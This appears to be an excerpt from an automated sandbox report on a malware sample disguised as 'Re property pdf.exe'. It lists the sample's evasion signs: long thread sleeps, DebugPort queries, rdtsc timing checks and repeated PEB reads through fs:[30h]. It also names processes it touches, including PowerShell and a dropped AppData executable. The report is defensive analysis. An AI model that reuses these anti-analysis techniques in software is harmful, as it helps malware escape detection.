Source: C:\Program Files (x86)\xmAeKWKVtSYxXAQkGmORQMFcsOElXurVobNODxlTs\uGMCFMVqKoR.exe TID: 7404	Thread sleep time: -39000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe TID: 2664	Thread sleep count: 6628 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe TID: 2664	Thread sleep time: -13256000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe TID: 2664	Thread sleep count: 3345 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe TID: 2664	Thread sleep time: -6690000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PresentationHost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\PresentationHost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Re property pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\NULL	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\NULL	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrocef_low\NULL	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe	Jump to behavior
Source: C:\Users\user\Desktop\Re property pdf.exe	File opened: C:\Users\user\AppData\Local\Temp\acrord32_super_sbx\Adobe\Acrobat	Jump to behavior

Source: PresentationHost.exe, 00000011.00000002.4211371395.0000000002D6F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllX&~r
Source: uGMCFMVqKoR.exe, 00000010.00000002.4211554273.0000000000AC0000.00000004.00000001.00020000.00000000.sdmp, firefox.exe, 00000012.00000002.2451257091.000002C70C51C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\Re property pdf.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\Re property pdf.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\hwOHPmqcegxcxb.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\PresentationHost.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\Re property pdf.exe

Code function: 6_2_0104096E rdtsc

6_2_0104096E

Source: C:\Users\user\Desktop\Re property pdf.exe

Code function: 6_2_00417483 LdrLoadDll,

6_2_00417483

Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE10E mov eax, dword ptr fs:[00000030h]	6_2_010AE10E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE10E mov ecx, dword ptr fs:[00000030h]	6_2_010AE10E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE10E mov eax, dword ptr fs:[00000030h]	6_2_010AE10E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE10E mov eax, dword ptr fs:[00000030h]	6_2_010AE10E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE10E mov ecx, dword ptr fs:[00000030h]	6_2_010AE10E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE10E mov eax, dword ptr fs:[00000030h]	6_2_010AE10E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE10E mov eax, dword ptr fs:[00000030h]	6_2_010AE10E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE10E mov ecx, dword ptr fs:[00000030h]	6_2_010AE10E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE10E mov eax, dword ptr fs:[00000030h]	6_2_010AE10E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE10E mov ecx, dword ptr fs:[00000030h]	6_2_010AE10E
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFC0F0 mov eax, dword ptr fs:[00000030h]	6_2_00FFC0F0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AA118 mov ecx, dword ptr fs:[00000030h]	6_2_010AA118
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AA118 mov eax, dword ptr fs:[00000030h]	6_2_010AA118
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AA118 mov eax, dword ptr fs:[00000030h]	6_2_010AA118
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AA118 mov eax, dword ptr fs:[00000030h]	6_2_010AA118
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C0115 mov eax, dword ptr fs:[00000030h]	6_2_010C0115
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFA0E3 mov ecx, dword ptr fs:[00000030h]	6_2_00FFA0E3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01030124 mov eax, dword ptr fs:[00000030h]	6_2_01030124
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01094144 mov eax, dword ptr fs:[00000030h]	6_2_01094144
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01094144 mov eax, dword ptr fs:[00000030h]	6_2_01094144
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01094144 mov ecx, dword ptr fs:[00000030h]	6_2_01094144
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01094144 mov eax, dword ptr fs:[00000030h]	6_2_01094144
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01094144 mov eax, dword ptr fs:[00000030h]	6_2_01094144
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01098158 mov eax, dword ptr fs:[00000030h]	6_2_01098158
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01006154 mov eax, dword ptr fs:[00000030h]	6_2_01006154
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01006154 mov eax, dword ptr fs:[00000030h]	6_2_01006154
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FF80A0 mov eax, dword ptr fs:[00000030h]	6_2_00FF80A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D4164 mov eax, dword ptr fs:[00000030h]	6_2_010D4164
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D4164 mov eax, dword ptr fs:[00000030h]	6_2_010D4164
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01040185 mov eax, dword ptr fs:[00000030h]	6_2_01040185
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010BC188 mov eax, dword ptr fs:[00000030h]	6_2_010BC188
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010BC188 mov eax, dword ptr fs:[00000030h]	6_2_010BC188
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A4180 mov eax, dword ptr fs:[00000030h]	6_2_010A4180
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A4180 mov eax, dword ptr fs:[00000030h]	6_2_010A4180
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108019F mov eax, dword ptr fs:[00000030h]	6_2_0108019F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108019F mov eax, dword ptr fs:[00000030h]	6_2_0108019F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108019F mov eax, dword ptr fs:[00000030h]	6_2_0108019F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108019F mov eax, dword ptr fs:[00000030h]	6_2_0108019F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C61C3 mov eax, dword ptr fs:[00000030h]	6_2_010C61C3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C61C3 mov eax, dword ptr fs:[00000030h]	6_2_010C61C3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107E1D0 mov eax, dword ptr fs:[00000030h]	6_2_0107E1D0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107E1D0 mov eax, dword ptr fs:[00000030h]	6_2_0107E1D0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107E1D0 mov ecx, dword ptr fs:[00000030h]	6_2_0107E1D0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107E1D0 mov eax, dword ptr fs:[00000030h]	6_2_0107E1D0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0107E1D0 mov eax, dword ptr fs:[00000030h]	6_2_0107E1D0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFA020 mov eax, dword ptr fs:[00000030h]	6_2_00FFA020
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFC020 mov eax, dword ptr fs:[00000030h]	6_2_00FFC020
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D61E5 mov eax, dword ptr fs:[00000030h]	6_2_010D61E5
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010301F8 mov eax, dword ptr fs:[00000030h]	6_2_010301F8
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01084000 mov ecx, dword ptr fs:[00000030h]	6_2_01084000
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A2000 mov eax, dword ptr fs:[00000030h]	6_2_010A2000
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A2000 mov eax, dword ptr fs:[00000030h]	6_2_010A2000
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A2000 mov eax, dword ptr fs:[00000030h]	6_2_010A2000
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A2000 mov eax, dword ptr fs:[00000030h]	6_2_010A2000
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A2000 mov eax, dword ptr fs:[00000030h]	6_2_010A2000
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A2000 mov eax, dword ptr fs:[00000030h]	6_2_010A2000
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A2000 mov eax, dword ptr fs:[00000030h]	6_2_010A2000
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A2000 mov eax, dword ptr fs:[00000030h]	6_2_010A2000
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101E016 mov eax, dword ptr fs:[00000030h]	6_2_0101E016
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101E016 mov eax, dword ptr fs:[00000030h]	6_2_0101E016
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101E016 mov eax, dword ptr fs:[00000030h]	6_2_0101E016
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101E016 mov eax, dword ptr fs:[00000030h]	6_2_0101E016
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01096030 mov eax, dword ptr fs:[00000030h]	6_2_01096030
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01002050 mov eax, dword ptr fs:[00000030h]	6_2_01002050
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01086050 mov eax, dword ptr fs:[00000030h]	6_2_01086050
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFA197 mov eax, dword ptr fs:[00000030h]	6_2_00FFA197
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFA197 mov eax, dword ptr fs:[00000030h]	6_2_00FFA197
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFA197 mov eax, dword ptr fs:[00000030h]	6_2_00FFA197
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102C073 mov eax, dword ptr fs:[00000030h]	6_2_0102C073
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100208A mov eax, dword ptr fs:[00000030h]	6_2_0100208A
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010980A8 mov eax, dword ptr fs:[00000030h]	6_2_010980A8
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFC156 mov eax, dword ptr fs:[00000030h]	6_2_00FFC156
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C60B8 mov eax, dword ptr fs:[00000030h]	6_2_010C60B8
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010C60B8 mov ecx, dword ptr fs:[00000030h]	6_2_010C60B8
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010820DE mov eax, dword ptr fs:[00000030h]	6_2_010820DE
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010860E0 mov eax, dword ptr fs:[00000030h]	6_2_010860E0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010080E9 mov eax, dword ptr fs:[00000030h]	6_2_010080E9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010420F0 mov ecx, dword ptr fs:[00000030h]	6_2_010420F0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103A30B mov eax, dword ptr fs:[00000030h]	6_2_0103A30B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103A30B mov eax, dword ptr fs:[00000030h]	6_2_0103A30B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103A30B mov eax, dword ptr fs:[00000030h]	6_2_0103A30B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01020310 mov ecx, dword ptr fs:[00000030h]	6_2_01020310
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D8324 mov eax, dword ptr fs:[00000030h]	6_2_010D8324
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D8324 mov ecx, dword ptr fs:[00000030h]	6_2_010D8324
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D8324 mov eax, dword ptr fs:[00000030h]	6_2_010D8324
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D8324 mov eax, dword ptr fs:[00000030h]	6_2_010D8324
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01082349 mov eax, dword ptr fs:[00000030h]	6_2_01082349
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D634F mov eax, dword ptr fs:[00000030h]	6_2_010D634F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108035C mov eax, dword ptr fs:[00000030h]	6_2_0108035C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108035C mov eax, dword ptr fs:[00000030h]	6_2_0108035C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108035C mov eax, dword ptr fs:[00000030h]	6_2_0108035C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108035C mov ecx, dword ptr fs:[00000030h]	6_2_0108035C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108035C mov eax, dword ptr fs:[00000030h]	6_2_0108035C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0108035C mov eax, dword ptr fs:[00000030h]	6_2_0108035C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A8350 mov ecx, dword ptr fs:[00000030h]	6_2_010A8350
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010CA352 mov eax, dword ptr fs:[00000030h]	6_2_010CA352
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A437C mov eax, dword ptr fs:[00000030h]	6_2_010A437C
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102438F mov eax, dword ptr fs:[00000030h]	6_2_0102438F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0102438F mov eax, dword ptr fs:[00000030h]	6_2_0102438F
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FF826B mov eax, dword ptr fs:[00000030h]	6_2_00FF826B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFA250 mov eax, dword ptr fs:[00000030h]	6_2_00FFA250
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A3C0 mov eax, dword ptr fs:[00000030h]	6_2_0100A3C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A3C0 mov eax, dword ptr fs:[00000030h]	6_2_0100A3C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A3C0 mov eax, dword ptr fs:[00000030h]	6_2_0100A3C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A3C0 mov eax, dword ptr fs:[00000030h]	6_2_0100A3C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A3C0 mov eax, dword ptr fs:[00000030h]	6_2_0100A3C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A3C0 mov eax, dword ptr fs:[00000030h]	6_2_0100A3C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010083C0 mov eax, dword ptr fs:[00000030h]	6_2_010083C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010083C0 mov eax, dword ptr fs:[00000030h]	6_2_010083C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010083C0 mov eax, dword ptr fs:[00000030h]	6_2_010083C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010083C0 mov eax, dword ptr fs:[00000030h]	6_2_010083C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FF823B mov eax, dword ptr fs:[00000030h]	6_2_00FF823B
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010BC3CD mov eax, dword ptr fs:[00000030h]	6_2_010BC3CD
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010863C0 mov eax, dword ptr fs:[00000030h]	6_2_010863C0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE3DB mov eax, dword ptr fs:[00000030h]	6_2_010AE3DB
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE3DB mov eax, dword ptr fs:[00000030h]	6_2_010AE3DB
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE3DB mov ecx, dword ptr fs:[00000030h]	6_2_010AE3DB
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010AE3DB mov eax, dword ptr fs:[00000030h]	6_2_010AE3DB
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A43D4 mov eax, dword ptr fs:[00000030h]	6_2_010A43D4
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010A43D4 mov eax, dword ptr fs:[00000030h]	6_2_010A43D4
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010103E9 mov eax, dword ptr fs:[00000030h]	6_2_010103E9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010103E9 mov eax, dword ptr fs:[00000030h]	6_2_010103E9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010103E9 mov eax, dword ptr fs:[00000030h]	6_2_010103E9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010103E9 mov eax, dword ptr fs:[00000030h]	6_2_010103E9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010103E9 mov eax, dword ptr fs:[00000030h]	6_2_010103E9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010103E9 mov eax, dword ptr fs:[00000030h]	6_2_010103E9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010103E9 mov eax, dword ptr fs:[00000030h]	6_2_010103E9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010103E9 mov eax, dword ptr fs:[00000030h]	6_2_010103E9
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101E3F0 mov eax, dword ptr fs:[00000030h]	6_2_0101E3F0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101E3F0 mov eax, dword ptr fs:[00000030h]	6_2_0101E3F0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0101E3F0 mov eax, dword ptr fs:[00000030h]	6_2_0101E3F0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010363FF mov eax, dword ptr fs:[00000030h]	6_2_010363FF
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01088243 mov eax, dword ptr fs:[00000030h]	6_2_01088243
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01088243 mov ecx, dword ptr fs:[00000030h]	6_2_01088243
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010D625D mov eax, dword ptr fs:[00000030h]	6_2_010D625D
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01006259 mov eax, dword ptr fs:[00000030h]	6_2_01006259
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010BA250 mov eax, dword ptr fs:[00000030h]	6_2_010BA250
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010BA250 mov eax, dword ptr fs:[00000030h]	6_2_010BA250
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01004260 mov eax, dword ptr fs:[00000030h]	6_2_01004260
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01004260 mov eax, dword ptr fs:[00000030h]	6_2_01004260
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01004260 mov eax, dword ptr fs:[00000030h]	6_2_01004260
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FF8397 mov eax, dword ptr fs:[00000030h]	6_2_00FF8397
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FF8397 mov eax, dword ptr fs:[00000030h]	6_2_00FF8397
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FF8397 mov eax, dword ptr fs:[00000030h]	6_2_00FF8397
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFE388 mov eax, dword ptr fs:[00000030h]	6_2_00FFE388
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFE388 mov eax, dword ptr fs:[00000030h]	6_2_00FFE388
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_00FFE388 mov eax, dword ptr fs:[00000030h]	6_2_00FFE388
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010B0274 mov eax, dword ptr fs:[00000030h]	6_2_010B0274
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103E284 mov eax, dword ptr fs:[00000030h]	6_2_0103E284
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0103E284 mov eax, dword ptr fs:[00000030h]	6_2_0103E284
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01080283 mov eax, dword ptr fs:[00000030h]	6_2_01080283
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01080283 mov eax, dword ptr fs:[00000030h]	6_2_01080283
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_01080283 mov eax, dword ptr fs:[00000030h]	6_2_01080283
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010102A0 mov eax, dword ptr fs:[00000030h]	6_2_010102A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010102A0 mov eax, dword ptr fs:[00000030h]	6_2_010102A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010962A0 mov eax, dword ptr fs:[00000030h]	6_2_010962A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010962A0 mov ecx, dword ptr fs:[00000030h]	6_2_010962A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010962A0 mov eax, dword ptr fs:[00000030h]	6_2_010962A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010962A0 mov eax, dword ptr fs:[00000030h]	6_2_010962A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010962A0 mov eax, dword ptr fs:[00000030h]	6_2_010962A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_010962A0 mov eax, dword ptr fs:[00000030h]	6_2_010962A0
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A2C3 mov eax, dword ptr fs:[00000030h]	6_2_0100A2C3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A2C3 mov eax, dword ptr fs:[00000030h]	6_2_0100A2C3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A2C3 mov eax, dword ptr fs:[00000030h]	6_2_0100A2C3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A2C3 mov eax, dword ptr fs:[00000030h]	6_2_0100A2C3
Source: C:\Users\user\Desktop\Re property pdf.exe	Code function: 6_2_0100A2C3 mov eax, dword ptr fs:[00000030h]	6_2_0100A2C3
